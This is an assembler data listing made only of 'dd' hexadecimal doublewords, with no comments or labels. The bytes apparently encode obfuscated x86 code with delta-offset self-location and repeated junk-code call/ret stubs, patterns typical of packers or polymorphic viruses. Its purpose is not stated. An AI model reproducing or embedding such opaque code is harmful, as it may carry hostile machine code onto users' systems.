		dd 958990F8h, 62B097Dh,	0FFFBB70Fh, 2B05E195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 767FDD78h, 1FBA2F6Ah, 0BF668E60h, 0BB53F616h, 2FB981D1h
		dd 0E4AE95Bh, 0E80000h,	5D000000h, 54D7ED81h, 6A062Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0EB9C8BC3h, 82BD018Dh, 14E94Bh, 9B4A0000h, 5B204320h
		dd 8499279h, 0CE06FEC6h, 0D07C3611h, 9531F71Eh,	62B20F9h
		dd 993A858Dh, 6A062Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 56DAA8C3h, 0E5C42D23h, 66653726h
		dd 9D8BDA8Bh, 62B2459h,	50AAB790h, 5E953h, 779A0000h, 5B0D988Eh
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0C109A45Eh, 0E944285Bh, 6, 9B0BAB81h, 0FF644583h
		dd 35h,	0ED23BF00h, 89643AC6h, 25h, 0DA8B6600h,	1E0D85FFh
		dd 6A062Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 365F38C3h, 1FC9BD89h, 0FF6A062Bh,	0A0D78166h
		dd 31BD8BD1h, 0FF062B08h, 2B0525B5h, 4D9D2306h,	81062B15h
		dd 7B5CBBC3h, 0A995FF13h, 0E9062B11h, 13Eh, 0E600B0F9h
		dd 0C99D3170h, 0E4062B0Dh, 0DE971h, 2AFA0000h, 26056A24h
		dd 3DCB67D7h, 3C37B2C2h, 17830F61h, 0F000001h, 0C8Bh, 6880F00h
		dd 89000000h, 2B016DB5h, 0C8B60F06h, 0CB5B589h,	6BA062Bh
		dd 0F000000h, 683h, 999D8B00h, 8B062B0Bh, 0A5B589C1h, 60062B2Bh
		dd 672E95B9h, 1595031Fh, 61062B0Ch, 8104E8C1h, 0A8B808D7h
		dd 0E2F76601h, 29059D23h, 0C82B062Bh, 5D9D8B53h, 5B062B02h
		dd 0FE8D18Bh, 0D3000000h, 35CD9C95h, 625C6D1h, 8559637Bh
		dd 95092804h, 62B0731h,	98E7815Bh, 0E9664F0Dh, 0
		dd 3241858Bh, 8166062Bh, 83BFD6CBh, 8D8907C0h, 62B25D5h
		dd 8000C083h, 0D03BBFF3h, 1E830Fh, 0EE90000h, 69000000h
		dd 49353549h, 0C8E326C9h, 0C79AA01Ah, 58E931h, 9D8B0000h
		dd 62B0E8Dh, 758D8Bh, 840F062Bh, 0
		dd 0F01E183h, 3D84h, 4AD78100h,	832D4609h, 2B0075A5h, 9D8BFE06h
		dd 62B1C11h, 32419589h,	14E8062Bh, 0DE000000h, 41919141h
		dd 8E9C4042h, 0A31F73F7h, 712503FAh, 0BFACFDF8h, 3593F8B6h
		dd 0E95Fh, 0B58D0000h, 62ECD28h, 8A0Fh,	81660000h, 6A5E13C3h
		dd 199D0300h, 0FF062B18h, 2B294595h, 5DBD3306h,	0B9062B05h
		dd 6BFh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	58C35242h, 0B874C138h, 9D8B540Fh, 62B25E1h, 29FCE183h
		dd 2B2EE98Dh, 0BE906h, 0FFEB0000h, 44947905h, 0E31FB370h
		dd 6AFC13h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0C752BCC3h, 0B589FEB9h, 62B0159h,	6AC02Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8D01CCC3h, 62B0939h,	6AD22Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 2B961DC3h, 66182450h
		dd 80EBCF81h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 3C35141h, 61685D3Ah
		dd 0BE9BF8AFh, 50006A2Ah, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8BE928A6h, 2B159D9Dh
		dd 0D8B70F06h, 880Dh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0B514320Fh, 6F028764h
		dd 8E9FBh, 708B0000h, 1DFFB350h, 0BD0346E2h, 62B0941h
		dd 0EE1958Bh, 0BE9062Bh, 96000000h, 51D1662Eh, 2FD9EB78h
		dd 8D8B2CB3h, 62B21E1h,	14E8h, 0F38E6000h, 9827AD3Ah, 0D087527Ch
		dd 8AEF54F3h, 11533DE2h, 59D8981h, 5B062B0Ah, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 5B8CD9C3h
		dd 0E9D8B70Fh, 6, 144BCF4Fh, 6A63ECh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 6FDDE8C3h
		dd 0BD83EE4Ch, 62B05A9h, 89840F00h, 50000000h, 0AE8h, 160CF000h
		dd 0DAA226D6h, 29CF1E58h, 2B02ED95h, 0B85B5B06h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 78C35747h
		dd 0A8E040D6h, 2856D165h, 1D659D31h, 8166062Bh,	8DBB71E7h
		dd 2B4EA18Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 353DE431h, 11E9E1FFh, 0F9000000h
		dd 0D439CC9Eh, 7DE6B4FFh, 9FDC2628h, 14547AA3h,	2BE5BD83h
		dd 0F00062Bh, 43084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 16F08B8h, 58E0Fh, 81660000h
		dd 833080E7h, 2B2BE5BDh, 840F0106h, 414h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 54C35040h, 0D5BD8BD1h
		dd 66062B1Fh, 819E80BBh, 0D5D1A4EBh, 0E5BD834Eh, 3062B2Bh
		dd 3A4860Fh, 60FC0000h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0CAC35141h, 9D85D8EEh, 613DF831h, 57D98C66h
		dd 12099D89h, 805F062Bh, 0BF0F04E1h, 0FC90AF8h,	10F84h
		dd 0E810F00h, 52000000h, 7E9h, 0C5B55700h, 7E21B031h, 0B5858B5Bh
		dd 0E9062B1Eh, 6, 3A93E901h, 853373CDh,	62B258Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 89C35040h, 0ED6ABCE8h
		dd 8B3D8DEFh, 2B1CE1BDh, 0EB816606h, 6650D3AFh,	89D21CBBh
		dd 85012404h, 62B3515h,	6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 37EDE2C3h, 0C4A2A052h
		dd 1DA59529h, 9D68062Bh, 6616522Dh, 81A103BBh, 2E622434h
		dd 11E9164Dh, 42000000h, 6F8A5A4Dh, 0D701E33h, 2627DB77h
		dd 36CDCFE1h, 91D95FFh,	8589062Bh, 62B2A99h, 858941B3h
		dd 62EB5B0h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	7CC35242h, 7B0E762Bh, 421C55ABh, 9D8B534Dh, 62B210Dh
		dd 59D895Bh, 0E9062B0Bh, 1DCh, 8319589h, 0BD03062Bh, 62B1B25h
		dd 0B5A8858Bh, 6A062Eh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 664D97C3h, 0C7E151BFh, 1800h, 68E0F00h
		dd 8B000000h, 2B33599Dh, 9D8B5306h, 62B0161h, 0ACB58B5Bh
		dd 6A062EB5h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0E9BC355h, 657914C6h, 3115E8E8h
		dd 2B1BC9B5h, 0C5858B06h, 6A062B16h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8950C351h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 8AAA5B9Bh, 9253685Fh, 8529518Bh,	62B32B9h
		dd 1EB5858Bh, 14E9062Bh, 0DD000000h, 0D99A4A1Ch, 30CB3C18h
		dd 1890D789h, 5476413Dh, 89B45980h, 0BF660446h,	8950C7E3h
		dd 0EE82434h, 12000000h, 0D667FCFAh, 48B614C5h,	31CC96C4h
		dd 38E0F19h, 0F000000h,	335BFABFh, 2B07019Dh, 0A8B5FF06h
		dd 6A062EB5h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 7309C356h, 83ACEDE9h, 34CEBBA4h
		dd 9D231F83h, 62B3285h,	0EC344068h, 81DA8BD5h, 0CFBF2404h
		dd 5F562A32h, 0B5B0858Dh, 0FE9062Eh, 9D000000h,	7F2E2140h
		dd 0DB313E51h, 15103329h, 0E850D7CAh, 0Ch, 0DB67E79Ch
		dd 0C32F6977h, 0E5973316h, 5BFB8B66h, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0CC45C355h, 4890A78Eh, 13E86Eh, 63850000h, 90714D83h
		dd 618821D2h, 5AFC9F4Fh, 30C62243h, 0A185093Ah,	5B062B00h
		dd 0D8DBD89h, 95FF062Bh, 62B091Dh, 6840F61h, 89000000h
		dd 2B07918Dh, 0E585C706h, 3062B2Bh, 8B000000h, 2B29399Dh
		dd 0B0BD8306h, 62EB5h, 5C840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0FCCCF3C3h
		dd 55FDE3F1h, 2C81BD8Bh, 0BD8B062Bh, 62B2179h, 44E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0A02DE7B2h, 7F7EAF37h, 4A9EBB61h, 30504354h,	4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0BF4ED10Dh, 61103668h, 0D1852360h, 9062B34h,	2B09218Dh
		dd 0BD836106h, 62B2BE5h, 7A850F03h, 0E9000004h,	0Eh, 0E559034Eh
		dd 0A7904CB9h, 0E5FBAAB2h, 0BD832C33h, 62EB5B0h, 5A840F00h
		dd 60000004h, 0FDB529F5h, 61062B17h, 20699D33h,	0B5FF062Bh
		dd 62EB5B0h, 18398509h,	95FF062Bh, 62B0175h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 6C35141h, 0F36E26Dh
		dd 68997582h, 6E380DDh,	0B5A4B58Bh, 6A062Eh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0F9FB6EC3h
		dd 0C7E2BE23h, 1000106h, 0DFB70F00h, 8B665096h,	6A96FBh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 572E89C3h, 40906F91h, 0FFB2FEDAh, 2EB5B0B5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 4340EF6Ah, 0EA1BE80h, 0C9B5892Ch, 0FF062B32h, 2B155595h
		dd 0CD9D2906h, 8B062B01h, 2EB5A4B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8B669884h
		dd 95BD89F8h, 0E8062B0Fh, 7, 7AC843C8h,	8B94280Bh, 2B343DBDh
		dd 858B5B06h, 62B1AD9h,	61BDB460h, 0C48689h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 2736CAC3h, 3203F91Bh, 0FE960h, 0B6B70000h, 0F170D259h
		dd 23D0170Fh, 0EAE65B87h, 958B61CEh, 62B0EE1h, 0EB5BD8Bh
		dd 0C283062Bh, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 7654ECF7h, 6036D61h, 1D1D9589h
		dd 5089062Bh, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0D4035B92h, 8D0F0A49h, 19h, 0DE8h
		dd 0E0165E00h, 4B7FC82Eh, 8EDCD64h, 8589660Ah, 62B2489h
		dd 4E858D5Bh, 8B062ECAh, 2B07D19Dh, 0B8868906h,	31000000h
		dd 2B2A8D8Dh, 0B3006A06h, 0B0B5FF4Fh, 6A062EB5h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0B9F9C352h, 0C78154A8h, 13060F9Fh, 8399D8Bh,	0B529062Bh
		dd 62B17A1h, 5E195FFh, 50F5062Bh, 11E9h, 57CA100h, 22679818h
		dd 911F71C2h, 3A705567h, 3489F28Ch, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 52BF6A26h
		dd 9566078h, 2B008995h,	0BD895906h, 62B065Dh, 7E95061h
		dd 80000000h, 74549A67h, 0FF5BCC4Dh, 2EB5B0B5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 656C48EEh, 6995FFADh, 6A062B15h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 2239C352h, 83429C54h, 2B1D9DBDh, 840F0006h
		dd 3Eh,	10E8h, 5FF8B300h, 813DD8F6h, 0FF06E11Fh, 0D31B8F6h
		dd 1ACF80AEh, 5050965Fh, 0EE952h, 0C8E10000h, 0D5E69C58h
		dd 95D43F3Ah, 0F09F7377h, 0BB66310Fh, 585A45EBh, 0E3816696h
		dd 0B5FFFA73h, 62EB5B0h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 40C35040h, 66BEF380h,	60E6A8BBh, 0BF0FDF8Bh
		dd 95FF61DAh, 62B2E11h,	11E96060h, 0C5000000h, 0B82F18F2h
		dd 4B3D8A00h, 39D3BE22h, 9E226BC1h, 15E99589h, 8961062Bh
		dd 2B30959Dh, 0B5FF6106h, 62EB5B0h, 1C79BD0Bh, 95FF062Bh
		dd 62B240Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0D7C35242h, 7009952Eh, 318529CEh, 83062B30h, 2B2E29BDh
		dd 840F0206h, 83h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0ADC35747h, 858B8465h, 62B2B39h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 25C35343h, 0A134A1E4h
		dd 3C924AA4h, 8E9h, 630B7300h, 75DC04A9h, 412BBD3h, 0C60691h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 4BBAC3F3h, 96BB1CD1h, 0C7552598h, 2B092585h
		dd 6, 0F2C4E900h, 0BD31FFFFh, 62B2C19h,	0CF81C18Bh, 3E99E2DDh
		dd 2FC1858Dh, 0E950062Bh, 7, 86857365h,	89820309h, 6A2404h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 9910A7C3h, 0A91CAABDh, 2D85BD89h, 6A062Bh, 2A8DBD23h
		dd 6A062Bh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ah,	0D4C35242h, 4CAB04FEh, 8B661D6Ah, 14858DFBh, 0E8062F65h
		dd 5, 0B60BF8BFh, 0D7816655h, 835BD925h, 6A05C0h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 2D348DC3h, 0EA36D7FFh, 0EDADBF50h, 4897FB1h,	0C4D38124h
		dd 6A21F92Dh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 7CB0363Dh, 6AF98Bh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 9DC35343h, 5410A75h
		dd 0F156D0Bh, 984h, 3840F00h, 66000000h, 95FFFB8Bh, 62B34E1h
		dd 17B19D0Bh, 8D8D062Bh, 62EA6AAh, 840Fh, 0D1FF0000h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0FCC35343h, 8A3CD67Ch
		dd 0B9BD8BFDh, 83062B0Ch, 2B0A01BDh, 850F0106h,	9Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0F1C35141h, 474AC343h
		dd 9D897633h, 62B2A31h,	6A026Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FD2D7C3h, 5350F9BFh
		dd 8E860h, 14B80000h, 9DEE097Bh, 505A3AECh, 5A310F52h
		dd 895B6158h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0A0AE7BC3h, 78F6BFAEh, 89E040D6h
		dd 2B0BC98Dh, 0E195FF06h, 0F062B05h, 1DB3FBBFh,	0D82E9h
		dd 0E800h, 815D0000h, 2F651EEDh, 0D3816606h, 890FE2C6h
		dd 11h,	0CE9h, 6F789500h, 8A484CF1h, 80EEE2F5h,	3A858D73h
		dd 6A062E99h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0C7CC352h, 0F205D42h, 1382h, 0EE900h
		dd 0BD400000h, 0BA37C50Bh, 0FFE48BD7h, 7F3B5A04h, 0BE850h
		dd 0ED4B0000h, 2EFC7306h, 36129DECh, 8F0F567Fh,	0
		dd 4895B5Bh, 0F8B70F24h, 35FF64h, 8B000000h, 2B1C3D9Dh
		dd 25896406h, 0
		dd 0A9958956h, 5B062B0Fh, 1E0D85FFh, 82B3062Bh,	6AFF6Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 9F17F4C3h, 454BAE74h, 0FD6B885h, 886h, 2870F00h, 60000000h
		dd 25B5FF61h, 6A062B0Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 1F7FC353h, 89EFE5DFh
		dd 2B0AE185h, 0A995FF06h, 0E9062B11h, 116h, 0D98D89h, 0B0062Bh
		dd 68F0Fh, 0E3810000h, 129E816Dh, 0D999589h, 70E6062Bh
		dd 11F18D29h, 71E4062Bh, 11D5BD8Bh, 613C062Bh, 0E4830Fh
		dd 81660000h, 0F53D4F7h, 8166C8B6h, 0BAC2B2C7h,	6, 1241BD33h
		dd 0C18B062Bh, 16D9D8Bh, 0E8C1062Bh, 13E804h, 96960000h
		dd 1151283Eh, 0D8A028D7h, 4C705737h, 51AD5439h,	31B5893Ch
		dd 5F062B33h, 22ED37BFh, 0E2F76671h, 55BD8B60h,	8A062B34h
		dd 0C82B61F7h, 19BA6660h, 99BD8999h, 61062B1Ah,	5E9D18Bh
		dd 60000000h, 6141F780h, 2F25858Bh, 8F0F062Bh, 6, 0D49BD33h
		dd 0C083062Bh, 0D858907h, 83062B20h, 8D0F00C0h,	3, 3BDFB70Fh
		dd 11830FD0h, 89000000h, 2B28D59Dh, 3CE906h, 95890000h
		dd 62B1581h, 0AA18D8Bh,	8166062Bh, 8372EDCFh, 840F01E1h
		dd 22h,	1D9BD8Bh, 0A583062Bh, 62B0AA1h,	0FBBF0FFEh, 9589DA8Bh
		dd 62B2F25h, 26DB8166h,	0E9CEh,	0B58D0000h, 62EDBF8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 89C35646h, 0DAB70F82h
		dd 0DE9h, 642B7A00h, 685121ADh,	0A41A8445h, 6A8795h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 9BC35141h, 0F7693E5h
		dd 28Fh, 0FFDD8A00h, 2B294595h,	50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 6A3BC7B4h
		dd 815EB7F2h, 8E54B0EBh, 0B9FB8B6Ah, 0CB4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C6C35242h, 44AFFD0Dh
		dd 0E90B4F2Dh, 8, 0D53475BFh, 0D4FABA70h, 6AFCE183h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0D403C353h, 8FED0A49h, 17E19D8Bh, 8A50062Bh,	8BFC5BF8h
		dd 2B07D1BDh, 0EDBD8906h, 0B8062B2Ch, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 5CC35747h
		dd 26410D42h, 0F75F3FEBh, 0F98D898Ah, 81062B34h, 0BBBEF8EFh
		dd 6AD22B2Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 515BC357h, 0C233AD42h,	0D003E8D1h
		dd 7504E983h, 6ADA8BF4h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0F120C352h,	0DB81095Fh
		dd 6B0AB17h, 880Dh, 10E900h, 4500000h, 9B945615h, 81AA09Ah
		dd 54DCF61h, 958B088Fh,	62B0EE1h, 15D1BD8Bh, 8D8B062Bh
		dd 62B21E1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0AFC35040h, 89D9DD1Ah, 2B11B98Dh, 0C28B5006h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6A537DBBh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 245C351h, 98C502B5h,	6604A58Ah, 0C8E6E381h, 8659589h
		dd 0BD83062Bh, 62B05A9h, 63840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 2169C352h, 0B8DA8Bh,	29000000h, 2B2E35BDh, 0A18D8D06h
		dd 33062B4Eh, 2B0A599Dh, 6AE1FF06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C5A7C355h
		dd 2162AFABh, 645B2B8h,	2FD99D8Bh, 0BD83062Bh, 62B2BE5h
		dd 0B8840F00h, 8B000003h, 2B20F59Dh, 359D8B06h,	83062B2Dh
		dd 2B2BE5BDh, 840F0106h, 3BAh, 6DC38166h, 198589B1h, 83062B11h
		dd 2B2BE5BDh, 860F0306h, 36Ch, 0B98529h, 5660062Bh, 68B0Fh
		dd 9D8B0000h, 62B06F9h,	0D98C665Fh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0E5C35545h,	6E8h, 1C3C3B00h
		dd 535FB17Bh, 2F69BF66h, 0E1805B5Bh, 0FC90A04h,	13B84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0AB618C5Fh, 8952D72Bh, 2B262DB5h, 0B5858B06h
		dd 6A062B1Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 6334C356h, 0AFFF75E0h,	6D4DA76h
		dd 34F9BD29h, 8533062Bh, 62B258Dh, 90F9BF0Fh, 0E9B66053h
		dd 5B61D18Ah, 90DF8B50h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 26C35040h, 0E740B3A3h, 11E80Bh, 9EBA0000h
		dd 0BBAAF24Fh, 0F1BED05Ch, 0B5EB44EDh, 0E934E871h, 0Ah
		dd 0BCB8BBD6h, 9C3FB2DAh, 665B8A5Fh, 6AD98Bh, 2CE58D89h
		dd 0D968062Bh, 5614ACAAh, 2434815Fh, 14B3A926h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 71C35040h, 892E23E9h
		dd 0E0A447B5h, 0FFFB8B66h, 2B091D95h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 0A6138369h, 6E14BD4Bh, 89DA8B66h, 2B1E199Dh,	0B0858906h
		dd 0B3062EB5h, 182E98Ah, 0B5890000h, 62B1665h, 0B5A8858Bh
		dd 0FB8B062Eh, 1800C7h,	0BD8B0000h, 62B071Dh, 0B5ACB58Bh
		dd 858B062Eh, 62B16C5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0EC35040h, 8BF092B6h,	0D78166DAh, 689E04Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 9DC35141h
		dd 858B86B3h, 62B1EB5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 1C35242h, 0C6A38BF4h,	85295117h, 62B1755h
		dd 0F044689h, 68Fh, 3DBD8B00h, 50062B2Eh, 89243489h, 2B3251BDh
		dd 39BD0306h, 0FF062B17h, 2EB5A8B5h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0FA071AF9h
		dd 1E1CF19Fh, 0E9BD8B6Bh, 0FC062B25h, 4E8h, 1F03FF00h
		dd 30BF6600h, 0FA8B5084h, 424448Bh, 98A4BB51h, 8B5F0488h
		dd 0FB8B6600h, 4244489h, 1A70EEBBh, 6A586Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 78D046C3h
		dd 0B6376160h, 870FF8D9h, 5, 0D5DF8166h, 0B0858D8Eh, 89062EB5h
		dd 2B06D1B5h, 0B7509006h, 816690ACh, 0FF535DC3h, 2B091D95h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0C4C85DDAh, 7ED6FE16h, 0FABF0F61h, 2BE585C7h
		dd 3062Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0E710B5C3h, 0B0BD83FCh, 62EB5h
		dd 2A840Fh, 95890000h, 62B2589h, 3AE9h,	50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0FA25E2E2h, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 8A1CC357h, 0AE6F4F31h
		dd 0E1E2868Ch, 5BFB8B56h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 31C35040h, 60ECCB78h,	81B2D18Bh, 0E5BD8361h
		dd 3062B2Bh, 441850Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0B308ECC3h, 0B0BD8317h
		dd 62EB5h, 415840Fh, 89500000h,	2B11A19Dh, 0B5FF5B06h
		dd 62EB5B0h, 34D18D89h,	95FF062Bh, 62B0175h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F3C35646h, 265D4089h
		dd 46973EBFh, 8BD88B6Ch, 2EB5A4B5h, 0F88B6606h,	106C7h
		dd 8E90001h, 0F4000000h, 2E3603DDh, 50EC34C6h, 14E8h, 8A9C1C00h
		dd 0DD22B8B1h, 0F4511591h, 184982DBh, 8A4273CCh, 34895F67h
		dd 6850F24h, 8B000000h,	2B17699Dh, 0B0B5FF06h, 6A062EB5h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0F84DC353h, 135BD8Bh, 95FF062Bh, 62B1555h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BDC35747h
		dd 1593325Ch, 81C0DD0Bh, 892FB1F3h, 0A4B58B28h,	3062EB5h
		dd 2B3031BDh, 0D9858B06h, 0F062B1Ah, 686h, 0AD9D8900h
		dd 89062B15h, 0C486h, 13E900h, 3B8F0000h, 5234BC52h, 515BF8EFh
		dd 95A8B042h, 534581E3h, 0E1958BB9h, 6A062B0Eh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0A5DDC356h, 8B488ADDh, 2B1E599Dh, 0BD095306h, 62B2649h
		dd 4C2835Fh, 2AF59D8Bh,	5089062Bh, 0D88B6620h, 0CA4E858Dh
		dd 0FE9062Eh, 0BE000000h, 4E9AE16Bh, 638A266Eh,	0AB359F5Eh
		dd 86892DBFh, 0B8h, 1E2D9D89h, 6A062Bh,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 73C35545h, 0ABDDCCE2h
		dd 0B5FFE7A7h, 62EB5B0h, 2F218501h, 95FF062Bh, 62B05E1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 45C35040h
		dd 6F2C925Ah, 0B32A23C5h, 9FB96096h, 61531834h,	0E9525050h
		dd 11h,	8BCA62Ah
